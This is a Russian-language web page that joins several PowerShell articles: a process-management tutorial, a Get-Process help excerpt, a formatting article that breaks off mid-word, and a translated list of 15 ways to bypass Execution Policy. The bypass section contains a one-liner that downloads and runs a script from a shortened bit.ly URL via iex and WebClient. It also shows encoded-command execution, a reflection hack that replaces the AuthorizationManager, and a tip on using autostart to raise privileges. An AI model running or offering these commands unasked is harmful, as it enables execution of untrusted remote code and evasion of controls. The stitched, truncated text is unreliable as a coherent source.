Разное

Process get: Работа с процессами Powershell Start-Process и управление ими на примерах

Содержание

Работа с процессами Powershell Start-Process и управление ими на примерах

Процессы — это один из основных компонентов Windows и чаще всего мы работаем с ними через Task Manager (диспетчер задач), но эта возможность становится весомее если мы используем команды по управлению процессами в Powershell. Основные команды по управлению запущенными задачами можно увидеть так:



Get-Command -Noun Process


Мы получим следующий вывод:


  • Debug-Process — возможность мониторинга и отладки процессов. Для его работы нужно загрузить дополнительное ПО.
  • Get-Process — получение в Powershell списка процессов.
  • Start-Process — запуск процессов.
  • Stop-Process — убивает (завершает) процесс.
  • Wait-Process — ожидание окончания процесса.

Таких команд и вариантов их использования очень много. Например мы можем работать с процессами через WMI или использовать их в связке с мониторингом сетевых подключений через Get-NetTCPConnection.  


Получив список процессов в Powershell можно увидеть что значения отображаются в Кб:



Get-Process


 Изменить это можно через выражения:



# В чем отображать значения 1MB,1GB,1TB и т.д.
$size = 1MB

Get-Process | Format-Table `
 @{Label = "NPM(K)"; Expression = {[int]($_.NPM / $size)}},
 @{Label = "PM(K)"; Expression = {[int]($_.PM / $size)}},
 @{Label = "WS(K)"; Expression = {[int]($_.WS / $size)}},
 @{Label = "CPU(s)"; Expression = {if ($_.CPU) {$_.CPU.ToString("N")}}},
 Id, ProcessName -AutoSize


В скрипте выше будут выводиться 5 свойств, но их намного больше. Посмотреть возможные свойства можно так:



Get-Process | Get-Member -MemberType Properties



Каждое это свойство можно вызвать так:



Get-Process | SELECT Id
# или
Get-Process | FT id


Можно вызвать все свойства всех процессов или по одному выбранному:



Get-Process | SELECT *
# или
Get-Process -Name 'notepad' | SELECT *


Кроме свойств есть еще методы . NET, которые выводятся без дополнительных ключей или с указанием: 



Get-Process | Get-Member -MemberType Method


Методы полезны тем, что ими можно воспользоваться не прибегая к дополнительным командам. Для примера так мы можем остановить процесс notepad (блокнот) тремя разными способами:



# Удаление процесса используя метод .NET
$process = Get-Process -Name "notepad"
$process.Kill()
# Закрытие процесса используя командлет PS
Stop-Process -Name "notepad"
# Остановка процесса используя алиас PS kill
kill -Name "Notepad"
# Если мы хотим убить процесс по его идентификатору
kill -ID 332


Методы .NET не всегда так очевидны, как командлеты поэтому к ним нужно прибегать с осторожностью.


При получении списка процессов есть параметр, который выводит путь откуда запущен процесс и версию файла:



Get-Process -FileVersionInfo


В варианте выше у нас будет много не критичных ошибок:


  • Get-Process : Не удалось перечислить информацию о версиях файла для процесса «svchost».
  • Get-Process : Cannot enumerate the file version information of the «csrss» process.

Связано это с тем, что не все процессы в Powershell имеют версии и выполняется запрос несуществующего свойства. Этого можно избежать двумя путями, первый — это указать параметр, который будет игнорировать эти ошибки:



Get-Process -FileVersionInfo -ErrorAction SilentlyContinue


Или запросить информацию о конкретном процессе:



Get-Process -Name 'notepad' -FileVersionInfo



Ключ FileVersionInfo это три свойства: Product, FileVersion и Path каждый из которых можно вывести отдельно. Получим процессы в Powershell со свойством времени запуска и отсортируем их:



Get-Process | select StartTime,Path,Name | sort StartTime


Если нужно выяснить когда и кто запустил процесс нужно добавить параметр IncludeUserName. В моем примере это два процесса:



Get-Process -Name 'notepad','explorer' -IncludeUserName | ft starttime,ProcessName,UserName


Эти же команды можно выполнять удаленно. Во всех командах Powershell, где есть ключ ComputerName можно указать минимум один удаленный компьютер:



Get-Process -ComputerName 'AD1','localhost'


Выполняя удаленную команду вы можете получить две ошибки. Первую, если у вас не настроена возможность удаленного управления в Powershell. И вторая, если вы укажете ключ -IncludeUserName, почему-то он не работает совместно с ComputerName:


  • Get-Process : Parameter set cannot be resolved using the specified named parameters.

 


Запуск процессов с Powershell Start-Process


На примере запуска блокнота команда выполняется так:



Start-Process -FilePath 'notepad'


Если исполняемый файл находится в другом месте нужно указать путь:



Start-Process -FilePath 'C:\Users\Administrator\Desktop\test. txt'


 Если в программа может принимать аргументы их так же можно добавить:



Start-Process -FilePath tracert -ArgumentList "-d -4 fixmypc.ru"


По умолчанию окно процесса разворачивается. Если хотите запустить свернутым, то добавьте ключ WindowStyle:



Start-Process -FilePath tracert -ArgumentList "-d -4 fixmypc.ru" -WindowStyle minimized


Ключ WindowStyle принимает 4 значения:


  • minimized — свернутый вариант.
  • hidden —  скрытый режим.
  • normal — обычный.
  • maximized — полностью развернутый.

Добавив ключ NoNewWindow, в случае с tracert, команда выполнится в текущем окне:



Start-Process -FilePath tracert -ArgumentList "-d -4 fixmypc.ru" -WindowStyle minimized


Если мы запускаем процесс, который подразумевает вывод, но не хотим открывать окно программы, то нам понадобится перенаправить вывод команд. Для этого есть два ключа:


  • RedirectStandardOutput — перенаправляет вывод
  • RedirectStandardError  — перенаправляет ошибки
  • RedirectStandardInput — перенаправляет ввод

Воспользоваться этими ключами можно так:



Start-Process tracert -ArgumentList "-d -4 fixmypc.ru" -RedirectStandardOutput c:\success.txt -RedirectStandardError c:\error.txt  -WindowStyle minimized


 Если нужно открыть файл в определенной программе, то это делается так:



Start-Process -FilePath "C:\Windows\notepad.exe" "C:\Users\Administrator\Desktop\test.txt"


Отмечу, что ни одна команда PS не позволяет запускать процессы в интерактивном сеансе пользователя (например открыть пользователю Excel). Если вы хотите использовать такой метод, то вам нужно использовать psexec от SysInternals либо помещать задачи в планировщик и выполнять оттуда.


 


Пример по работе с процессами в Powershell


Директории, откуда работает основная часть программ относятся к Windows и Program Files. Работа программ из Application Data, например, всегда подозрительна. Мы можем мониторить запуск процессов из этой директории. Нам нужно объявить переменные с путями, которые не будут вызывать подозрений и проверять путь процессов на вхождение:



# Директория для проверки
$path = '*C:\Users*'
# Список компьютеров
$computers = 'AD1','localhost'
# Получение и фильтрация процессов 
$process = $computers |% {Get-Process -ComputerName $_ | where {$_.Path -like $path}
# Вывод результатов
$process
# Завершение процессов (закоментирован от случайного убийства нужных задач)
#$process | kill



Второй пример выполнения — это запуск всех файлов из папки. Обычно скрипты применяются через групповые политики в момент входа пользователя. Если таких скриптов 10, то мы можем поместить их в определенную папку и запускать из планировщика задач указывая только директорию и расширение запускаемого файла и перенаправлять ошибки в индивидуальный файл:



# Директория для поиска файлов
$path = 'C:\dd\*'
# Поиск файлов и включение нужных и исключение ненужных
$items = Get-ChildItem -Path $path -Include '*exe*' -Exclude '*txt*'
# Сетевой путь, куда будут сохраняться ошибки
$error_path = '\\localhost\SYSVOL\'
$items |%  {Start-Process -FilePath $_ -WindowStyle Maximized -RedirectStandardError ($error_path + {hostname} + 'error. txt')}


Обратите внимание, что все файлы с ошибками будут сохраняться с именем компьютеров на котором запущен скрипт. В каждом из скриптов я так же ставил знак *, это связано не с точным вхождением. Например в первом случае после пути C:\Users* мы ожидаем еще символы и установив звездочку мы это указали. В случае Get-ChildItem ситуация похожая, но более подробно мы обсуждали в статье поиск файлов в Powershell.


Мы можем использовать поиск процессов не относящихся к производителям ПО, которые мы устанавливали на ПК пользователей. Для этого есть свойство Company. Не все объекты имеют имя компании, они связаны с задачами операционной системы:



$company = 'microsoft'
Get-Process | where {$_.company -notmatch $company} | Sort Company | Select ID,Name,WS,VM,Company | format-table -AutoSize



По умолчанию мы получаем данные по CPU в секундах, но следующий скрипт вернет процент использования:



function Get-CPUPercent
{
    $CPUPercent = @{
        Name = 'CPUPercent'
        Expression = {
            $TotalSec = (New-TimeSpan -Start $_. StartTime).TotalSeconds
            [Math]::Round( ($_.CPU * 100 / $TotalSec), 2)
        }
    }
 
    Get-Process | 
    Select-Object -Property Name, $CPUPercent, Description |
    Sort-Object -Property CPUPercent -Descending |
    Select-Object -First 10
}
Get-CPUPercent


 Далее эту функцию можно запускать на удаленных компьютерах:



$computers = 'AD1','localhost'
Invoke-Command -ComputerName $computers -ScriptBlock ${function:Get-CPUPercent} | ft


Теги:

#powershell

Get-Process

Параметры Name, ID и InputObject нельзя использовать в одной команде.




Командлет Get-Process также можно вызывать с помощью встроенных псевдонимов «ps» и «gps». Дополнительные сведения см. в разделе About_Aliases.




В оболочке Windows PowerShell также можно использовать свойства и методы объекта WMI Win32_Process. Дополнительные сведения см. в описании командлета Get-WmiObject и пакета SDK инструментария управления Windows (WMI).




По умолчанию сведения о процессе представляются в виде таблицы, состоящей из следующих столбцов.




— Handles: количество дескрипторов, открытых текущим процессом.




— NPM(K): объем невыгружаемой памяти, используемой процессом, в КБ.




— PM(K): объем выгружаемой памяти, используемой процессом, в КБ.




— WS(K): размер рабочего множества процесса, в КБ. Рабочее множество состоит из страниц памяти, к которым недавно обращался процесс.




— VM(M): объем виртуальной памяти, используемой процессом, в МБ. Виртуальная память представляет собой хранилище файлов подкачки на диске.




— CPU(s): объем процессорного времени, потраченного на выполнение процесса всеми процессорами, в секундах.




— ID: идентификатор процесса (PID).




— ProcessName: имя процесса.




Описание основных понятий, связанных с процессами, содержатся в глоссарии центра технической поддержки, а также в справке по диспетчеру задач.




Также можно использовать другие встроенные представления процессов, доступные с помощью командлета Format-Table (например, «StartTime» и «Priority»), либо создавать пользовательские представления. Дополнительные сведения см. в описании командлета Format-Table.

Основы PowerShell: форматирование | Windows IT Pro/RE

.

Как работает форматирование

Если не углубляться в технические подробности, можно сказать, что форматирование в PowerShell работает следующим образом: в конце конвейера оболочка PowerShell анализирует оставшиеся объекты и определяет их тип. Затем оболочка PowerShell просматривает набор настроек XML в поисках инструкций по форматированию каждого из типов объектов. В ходе поиска может быть обнаружен заданный по умолчанию формат отображения таблицы или списка. В этом случае оболочка PowerShell передает объекты соответствующей команде форматирования, которая выводит результаты на экран. В других случаях оболочка PowerShell может найти только заданный по умолчанию список свойств. Исходя из количества свойств оболочка PowerShell определит, какой формат отображения — таблица или список – ей нужен, и вызовет соответствующую команду форматирования. В крайнем случае, если инструкции не найдены, PowerShell отобразит все свойства объекта.

Вы можете изменить эту последовательность, напрямую задавая команды форматирования. Скорее всего, вы будете использовать следующие команды форматирования: Format-Wide, Format-Table и Format-List.

Как применять команду Format-Wide

Команда Format-Wide, имеющая псевдоним fw, будет отображать по одному свойству в широком формате. Работая в оболочке Windows Cmd.exe, вы могли использовать такую команду как dir /w, чтобы увидеть список каталогов в широком формате. Команда Format-Wide позволяет делать то же самое для объектов любого типа. Например, следующая команда выводит результаты команды Get-Process в широком формате:

Get-Process | Format-Wide

Результаты показаны на экране 1.

 

Экран 1. Результаты команды Get-Process в широком формате

При работе с командой Format-Wide большинство объектов возвращают заданное по умолчанию свойство, и обычно оно содержит имя. Однако вы можете указать другие свойства. Например, вместо того, чтобы в широком формате отображать имена служб, можно отобразить свойство DisplayName с помощью команды:

Get-Service | Where-Object {$_.status -eq 'running'} |
Format-Wide -Property DisplayName

Команда Format-Wide обычно неплохо справляется с задачей отображения максимального количества информации, но при желании вы можете выполнить тонкую настройку. Так, когда в нашем первом примере выходные данные команды Get-Process были переданы команде Format-Wide, результаты отображались на экране в виде двух столбцов (см. экран 1). Вы можете заставить команду Format-Wide задействовать большее количество столбцов, используя параметр -Column:

Get-Process | Format-Wide -Column 3

Теперь, как показано на экране 2, результаты распределены по трем столбцам.

 

Экран 2. Вывод Format-Wide в три столбца

Вы можете заставить команду Format-Wide сжать результаты настолько, насколько она сможет, используя параметр -AutoSize. Например, следующая команда возвращает имена служб, которые начинаются с буквы m, выводя на экран максимально возможное количество данных:

Get-Service m* | fw -AutoSize

Обратите внимание, что в данном примере я использую псевдоним fw. Результаты приведены на экране 3.

 

Экран 3. Результаты работы параметра -AutoSize

Возможно, вы захотите объединить в команде Format-Wide функции автоматического определения размера и группировки. При использовании параметра -GroupBy PowerShell отформатирует информацию на выходе на основе указанных свойств. Но будьте осторожны. Посмотрите на эту команду:

Get-Service | fw -GroupBy Status -AutoSize

Можно подумать, что она получает имена служб и выводит их в широком формате, сгруппировав по свойству Status. Но взгляните на результат на экране 4. Думаю, вы ожидали увидеть совсем другое. Оболочка PowerShell получала объекты служб и форматировала их. Эта проблема легко решается путем предварительной сортировки с помощью команды Sort-Object, имеющей псевдоним sort:

Get-Service w* | sort Status | fw -GroupBy Status -AutoSize

 

Экран 4. Форматирование по мере получения данных

Данная команда возвращает только те службы, которые начинаются на букву w, так что вы можете просмотреть все результаты (экран 5). Анализируя результаты, обратите внимание, что остановленные службы выводятся в пять столбцов, а для отображения работающих служб используются всего четыре столбца. Результаты выполнения функции автоматического определения размера будут различаться в зависимости от длины каждого свойства.

 

Экран 5. Форматирование с предварительной сортировкой

Параметр -GroupBy поддерживается многими командами форматирования. Параметр -AutoSize поддерживается как командой Format-Wide, так и командой Format-Table, которую мы рассмотрим далее.

Как применять команду Format-Table

Судя по имени, команда Format-Table, имеющая псевдоним ft, форматирует данные в виде таблицы. В большинстве случаев форматирование результатов в виде таблицы производится администраторами, но оболочка PowerShell нередко выполняет форматирование «по умолчанию». Например, запуская команду

Get-Process

мы получаем тот же результат, что и при запуске команды

Get-Process | Format-Table

Оболочка PowerShell с помощью набора файлов конфигурации определяет, что выводить на экран и каким образом. Некоторые типы объектов имеют предопределенные форматы вывода данных. В данном случае файлы конфигурации сообщают оболочке PowerShell, что нужно обрабатывать объекты как таблицы. Теоретически, это означает, что вам не придется добавлять команду Format-Table при использовании команды Get-Process, если требуется, чтобы результаты были сформатированы в виде таблицы. Однако сколько раз придется запустить команду, чтобы понять, что формат выходных данных не оптимален? Возьмем, например, команду Select-Object (псевдоним select), чтобы получить значения таких свойств, как ID, Name и WorkingSet (WS):

Get-Process | Select ID, Name, WS

Как мы видим на экране 6, данные выведены в виде таблицы, но ее расположение и размеры не идеальны. Оболочка PowerShell сделала все возможное, но выбрать свойства — еще не значит отформатировать их. Вы можете помочь, передав результаты команде Format-Table с параметром –AutoSize и заставив оболочку PowerShell автоматически настроить размер результатов в таблице:

Get-Process | select ID,Name,WS |
Format-Table -AutoSize

 

Экран 6. Результаты работы Select-Object

Как мы видим на экране 7, вид выходных данных улучшился.

 

Экран 7. Новый вид результатов работы Select-Object

Если вы с самого начала знаете, что выходные данные должны быть отформатированы в виде таблицы, то можете пропустить шаг с использованием команды Select-Object и просто указать свойства при вызове команды Format-Table:

Get-Process | Format-Table ID,Name,WS -AutoSize

Выходные данные будут иметь такой же вид. Если вам нужно лишь проанализировать результаты, то такой подход – идеальное решение. Но в форматировании есть подводные камни, с которыми сталкивается большинство новичков при работе с PowerShell. Мы рассмотрим их чуть позже.

Помимо параметра -AutoSize, есть еще один параметр команды Format-Table, которую вы будете часто использовать — это –View. Под «представлением» в данном случае понимается альтернативная структура. При использовании данного параметра оболочка PowerShell будет применять один из альтернативных форматов вывода. Например, если вы запустите следующую команду, то получите на выходе другой набор свойств, автоматически сгруппированных по свойству PriorityClass:

Get-Process | sort PriorityClass | ft -View Priority

Обратите внимание, что я использую псевдоним ft, который в итоге вы, скорее всего, будете применять часто. Кроме того, отметьте, что я провел предварительную сортировку, чтобы улучшить внешний вид выходных данных, по аналогии с тем, как я поступил при работе с командой Format-Wide. Экран 8 позволит вам представить, как будут выглядеть результаты. Возможно, вы получите сообщения об ошибках, так как некоторые процессы, такие как Idle и System, защищены. Можете проигнорировать их.

 

Экран 8. Альтернативный формат вывода

Вот еще один пример, который я оставлю вам для изучения:

Get-Process | sort StartTime | ft -View StartTime

Как и предыдущая, эта команда может генерировать ошибки, так как для некоторых процессов не будет прописано время запуска.

Изучение альтернативных представлений потребует небольшого расследования. Для определения типа объекта используется команда Get-Member. В случае последнего примера с командой Get-Process необходимо запустить команду:

Get-Process | Get-Member

Результаты показывают, что объект имеет тип System.Diagnostics.Process. Далее для раскрытия свойства определения запускается следующая команда:

Get-FormatData System. Diagnostics.Process |
Select -ExpandProperty FormatViewDefinition

В результатах на экране 9 столбец Name содержит имена представлений. Столбец Control дает подсказку, какая команда форматирования применяется для построения соответствующего представления. Имейте в виду, что вы не обязательно сможете просмотреть список представлений для каждого типа объекта, так что, возможно, вам все равно придется провести немало тестов вручную.

 

Экран 9. Получение имен представлений

Как применять команду Format-List

Еще один из возможных способов форматирования — список. Вы можете дать оболочке PowerShell указание организовать выходные данные в виде списка, используя команду Format-List, имеющую псевдоним fl. Например, если вы запустите следующую команду, то обнаружите, что PowerShell отформатировал результаты в виде таблицы:

Get-Process | select ID,Name,WS,VM

Если в качестве формата выходных данных вам больше подходит список, то вы можете передать результаты команде Format-List следующим образом:

Get-Process | select ID,Name,WS,VM | Format-List

Результаты приведены на экране 10.

 

Экран 10. Вывод в виде списка

Как и все команды форматирования, команда Format-List позволяет выбрать для отображения одно или несколько свойств. Вы даже можете использовать подстановочные знаки, например «звездочка» (*) позволяет выбрать все свойства.

Хотя передача выходных данных команды Get-Process в команду Get-Member может помочь определить свойства объекта, иногда этот подход помогает даже просмотреть значения свойств. Лучший способ использования команды Format-List – выбрать отдельный объект и отобразить все его свойства и их значения:

Get-Process winword | fl *

При таком формате выходных данных, как на экране 11, вы лучше поймете назначение каждого свойства и сможете построить более подробную команду.

 

Экран 11. Просмотр свойств отдельного объекта

Как и в случае с командой Format-Table, команда Format-List может иметь разные представления, определенные для разных типов объектов. Возьмем, например, команду:

Get-Service | fl

Результаты на экране 12 показывают, что оболочка PowerShell имеет представление, заданное для объектов служб при форматировании их выходных данных в виде списка.

 

Экран 12. Представление для объектов служб

Чтобы получить информацию обо всех доступных представлениях, вы можете попробовать задействовать команду Get-FormatData и поискать значение ListControl в столбце Control. С другой стороны, можно поэкспериментировать с передачей результатов команд Format-Table и Format-List.

Форматирование в конце

Как вы могли заметить, во всех моих примерах команды форматирования использовались в конце. В классах и на форумах я часто вижу новичков в PowerShell, которые пытаются сделать что-то вроде этого:

Get-ChildItem C:scripts*.ps1 |
ft name,length,LastWriteTime,CreationTime |
Export-CSV C:workfiles.csv

Однако просматривая результирующий. csv файл, они видят нечто бессвязное. Есть еще одна команда, которая будет выполнена неправильно, но, по крайней мере, появится сообщение об ошибке, объясняющее причины:

Get-ChildItem C:scripts*.ps1 |
ft name,length,LastWriteTime,CreationTime |
sort Length

На экране 13 приведено сообщение об ошибке. Как всегда, его сложно понять, поэтому я объясню, что к чему. Когда вы вызываете одну из команд форматирования, она создает еще один тип объектов и отсылает их обратно оболочке PowerShell. Итак, в ошибочной команде Format-Table прописал объекты директивы форматирования в конвейер, а оболочка PowerShell затем попыталась отсортировать их по свойству Length. Но в этот момент конвейер уже не работал с файловыми объектами, поэтому команда завершилась неудачно. Это сбивает с толку, так как если вы замените Format-Table на команду Select-Object, она отработает корректно.

 

Экран 13. Ошибочная команда

Золотое правило гласит, что команда форматирования должна быть последней частью команды PowerShell. Пока вы не пытаетесь что-либо дописать после команды форматирования, проблем у вас быть не должно. Предполагается, что вы используете форматирование, чтобы сделать результаты более удобными для чтения — и ничего больше. Однако есть одно исключение. Вы можете передавать любые отформатированные результаты любой команде типа Out, такой как Out-File или Out-Printer. Например, следующая команда передает результаты команды Format-Table на вход команде Out-File:

Get-ChildItem C:scripts*.ps1 |
ft name,length,LastWriteTime,CreationTime |
Out-File C:workscripts.txt

Оболочка PowerShell перехватит выходные данные, кот

15 способов обхода PowerShell Execution Policy

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора.

Автор: Scott Sutherland

По умолчанию PowerShell сконфигурирован на запрет выполнения скриптов в системах на базе ОС Windows. Подобные настройки могут затруднять работу админов, пентестеров и разработчиков, и в этой статье я расскажу о 15 способах обхода execution policy без использования прав локального администратора. Полагаю, что есть техники, которые не будут упомянуты из-за моей забывчивости или элементарного незнания, однако, надеюсь, нижеприведенный список будет хорошим стартом для тех, кто нуждается в нем.

Что такое PowerShell Execution Policy?

Execution policy определяет, какие типы скриптов могут быть запущены (если вообще могут) в системе. По умолчанию значение параметра выставлено как «Restricted», что запрещает запуск любых скриптов. Однако следует понимать, что настройка Execution Policy никогда не относилась к управлению безопасностью, а служила лишь для того, чтобы администраторы случайно не могли вывести систему из строя. Именно поэтому существует множество техник, чтобы обойти эти настройки, включая некоторые, предоставленные компанией Microsoft. Более подробно о Execution Policy и других настройках безопасности в PowerShell рекомендую почитать блог Карлоса Переса.

Зачем нужно обходить Execution Policy?

Кажется, один из наиболее распространенных ответов на вопрос, обозначенный в заголовке, — автоматизация процессов. Однако есть и другие причины, по которым PowerShell стал популярным среди администраторов, пентестеров и хакеров. PowerShell:

  • Встроен в Window.

  • Может вызывать Windows API.

  • Может запускать команды без записи на диск.

  • Может избегать обнаружения антивирусами.

  • Уже помечен как «достоверный» и находится в большинстве белых списков.

  • Используется при написании многих утилит безопасности с открытым исходным кодом.

Как посмотреть настройки Execution Policy

Перед началом использования всех возможностей PowerShell, потребуется обойти запрет на запуск скриптов. Текущие настройки можно получить, выполнив команду «Get-ExectionPolicy». Если запрет выставлен, то при запуске команды появится следующее сообщение:

PS C:\> Get-ExecutionPolicy

Рисунок 1: Результат выполнения команды в системе, где установлен запрет на запуск скриптов

Важно отметить, что Execution Policy может устанавливаться на различных уровнях системы. Чтобы посмотреть список уровней, используйте команду ниже (за более подробной информацией обращайтесь к соответствующей странице TechNet).

Get-ExecutionPolicy -List | Format-Table –AutoSize

Рисунок 2: Настройки Execution Policy на различных системных уровнях

Настройка тестовой среды

В примерах ниже я буду использовать скрипт с именем runme. ps, содержащий следующую команду для вывода сообщения в консоль:

Write-Host "My voice is my passport, verify me."

При запуске скрипта в системе со стандартными настройками Execution Policy выводится следующая ошибка:

Рисунок 3: Ошибка, выводимая при запуске тестового скрипта в среде, где настрое запрет на запуск скриптов

Если ваша текущая политика разрешает запуск скриптов, поставить запрет (в целях тестирования) можно при помощи команды Set-ExecutionPolicy Restricted, запущенной из консоли администратора PowerShell. Ну, хорошо, достаточно пустой болтовни. Перейдем непосредственно к методам обхода запрета, установленного в Execution Policy.

1. Копирование скрипта непосредственно в интерактивную консоль PowerShell

Скопируйте и вставьте скрипт в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями текущего пользователя. Метод наиболее часто используется для запуска простых скриптов, когда у вас есть доступ к интерактивной консоли. Кроме того, эта техника не влечет за собой изменения настроек и не требует записи на диск.

Рисунок 4: Запуск скрипта при помощи копирования в интерактивную консоль

2. Отправка содержимого скрипта в стандартный поток ввода PowerShell

Просто отправьте содержимое скрипта в стандартный поток ввода. Техника не влечет за собой изменения настроек и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

Рисунок 5: Вывод содержимого скрипта в стандартный поток ввода

3. Чтение скрипта из файла и перенаправление содержимого в стандартный поток ввода PowerShell

Используйте стандартную команду «type» или PowerShell команду «Get-Content» для чтения содержимого скрипта с диска и перенаправьте полученный результат в стандартный поток ввода. Техника не влечет за собой изменения настроек, однако требует записи на диск. Чтобы избежать записи на диск, можно использовать сетевой общий ресурс (network share).

Пример 1: Использование PowerShell команды Get-Content

Get-Content .\runme.ps1 | PowerShell.exe -noprofile -

Рисунок 6: Использование команды Get-Content

Пример 2: Использование команды Type

TYPE .\runme.ps1 | PowerShell.exe -noprofile -

Рисунок 7: Использование команды Type

4. Загрузка скрипта из сети и запуск при помощи Invoke Expression

Технику можно использовать для загрузки скрипта из интернета и запуска без записи на диск. Также не будут изменены никакие настройки. Я видел много способов запуска скриптов подобным образом, но недавно наткнулся на следующий пример:

powershell -nop -c "iex(New-Object Net. WebClient).DownloadString('http://bit.ly/1kEgbuH')"

Рисунок 8: Загрузка скрипта из интернета и запуск при помощи Invoke Expression

5. Использование параметра Command

Техника схожа с примером через копирование и вставку, но может быть использована без интерактивной консоли. Метод прекрасно подходит для простых скриптов, но запуск более сложных скриптов, обычно, оканчивается ошибками. Техника не влечет за собой изменения настроек и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Рисунок 9: Запуск скрипта при помощи полной версии параметра

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Можно объединить вышеуказанные команды в пакетные файлы и поместить их в автозагрузку для увеличения уровня привилегий.

6. Использование параметра EncodeCommand

Метод схож с предыдущей техникой, но здесь все скрипты закодированы в строку Unicode. Кодирование скрипта позволяет избежать ошибок, возникающих при использовании параметра «Command». Техника не влечет за собой изменения настроек и не требует записи на диск. Пример ниже взят из Posh-SecMod. Та же утилита содержит хороший метод для уменьшения размера закодированных команд.

Пример 1: Полный вариант

$command = "Write-Host 'My voice is my passport, verify me.'"


$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)


$encodedCommand = [Convert]::ToBase64String($bytes)


powershell.exe -EncodedCommand $encodedCommand

Рисунок 10: Полный вариант команды

Пример 2: Сокращенный параметр

powershell.exe -Enc


VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAA


aQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Использование команды Invoke-Command

Техника, найденная мной в блоге Obscuresec, используется через интерактивную консоль или в сочетании с параметром «Command». Главная особенность метода в том, что его можно использовать для запуска команд на удаленных системах, где разрешен запуск скриптов PowerShell. Техника не влечет за собой изменения настроек и не требует записи на диск.

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

Рисунок 11: Использование команды Invoke-Command

Команда ниже, созданная по мотивам блога Obscuresec, может использоваться для переноса настроек execution policy с удаленной машины на локальную.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. Использование команды Invoke-Expression

Как и в предыдущем случае, техника используется через интерактивную консоль или в сочетании с параметром «Command». Метод не влечет за собой изменения настроек и не требует записи на диск. Ниже показано несколько наиболее распространенных способов использования команды Invoke-Expression для обхода execution policy.

Пример 1: Полная версия команды Get-Content

Get-Content .\runme.ps1 | Invoke-Expression

Рисунок 12: Полный вариант команды Get-Content

Пример 2: Сокращенный вариант Get-Content

GC .\runme.ps1 | iex

9. Использование флага Bypass

Флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использование этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1

Рисунок 13: Использование флага Bypass

10. Использование флага Unrestricted

Техника схожа с предыдущей. Хотя, при использовании флага Unrestricted Microsoft заявляет, что «загружаются все конфигурационные файла и запускаются все скрипты. Если вы запустите неподписанный скрипт, загруженные из интернета, появится сообщение с вопросом о подтверждении запуска». Метод не влечет за собой изменения настроек и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1

Рисунок 14: Использование флага Unrestricted

11. Использование флага Remote-Signed

Создайте скрипт. Затем подпишите его, используя руководство, написанное Карлосом Пересом. Теперь запустите скрипт, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1

12. Запрет ExecutionPolicy путем выгрузки Authorization Manager

С этой техникой я столкнулся на сайте http://www. nivot.org. Функцию, указанную ниже, можно запустить через интерактивную консоль или в сочетании с параметром «command». После запуска будет в поле AuthorizationManager будет установлено значение null, в результате чего остаток сессии у execution policy будет статус unrestricted. Техника не влечет за собой постоянного изменения в настройках и не требует записи на диск. Хотя, в текущей сессии изменения будут.

function Disable-ExecutionPolicy {($ctx =


$executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue(


$executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").


setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}

Disable-ExecutionPolicy

.\runme.ps1

Рисунок 15: Отключение Authorization Manager в текущей сессии

13. Установка Excution Policy для уровня Process

В начале статьи было сказано, что execution policy может быть применена к различным уровням (включая уровень process, на которым у вас есть контроль). Используя эту технику, execution policy может быть установлена в статус unrestricted во время сессии. Кроме того, метод не влечет за собой изменения в настройках и не требует записи на диск. Я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

Рисунок 16: Установка статуса Unrestricted для уровня Process

14. Установка статуса Unrestricted для уровня CurrentUser при помощи команды

Техника схожа с предыдущей, но здесь изменяются установки среды текущего пользователя путем модификации ключа в реестре. Метод не влечет за собой изменения настроек и не требует записи на диск. Техника также была найдена в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Рисунок 17: Установка статуса Unrestricted для уровня CurrentUser

15. Установка статуса Unrestricted для уровня CurrentUser через реестр

В этом примере я покажу, как выставлять постоянные настройки execution policy для текущего пользователя путем модификации ключа реестра напрямую.

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

Рисунок 18: Выставление статуса для execution policy через реестр

Заключение

Статья была написана с той целью, чтобы запреты execution policy не были препятствием для разработчиков, администраторов и пентестеров. Microsoft никогда не пыталась сделать безопасным PowerShell, именно поэтому столь много техник для обхода запретов. Компания Microsoft предоставила несколько полезных встроенных инструментов, а сообщество специалистов по безопасности продемонстрировало несколько интересных трюков. Спасибо всем, кто внес свой вклад в развитие темы обхода запуска скриптов путем написания статей в блогах и презентаций. Всем остальным желаю удачи при использовании PowerShell, и не забывайте об ответственности за свои действия ;).

Ссылки:

  • http://blogs.msdn.com/b/powershell/archive/2008/09/30/powershell-s-security-guiding-principles.aspx

  • http://obscuresecurity.blogspot.com/2011/08/powershell-executionpolicy.html

  • http://roo7break.co.uk/?page_id=611

  • http://technet.microsoft.com/en-us/library/hh849694.aspx

  • http://technet.microsoft.com/en-us/library/hh849812.aspx

  • http://technet.microsoft.com/en-us/library/hh849893.aspx

  • http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html

  • http://www.hanselman.com/blog/SigningPowerShellScripts.aspx

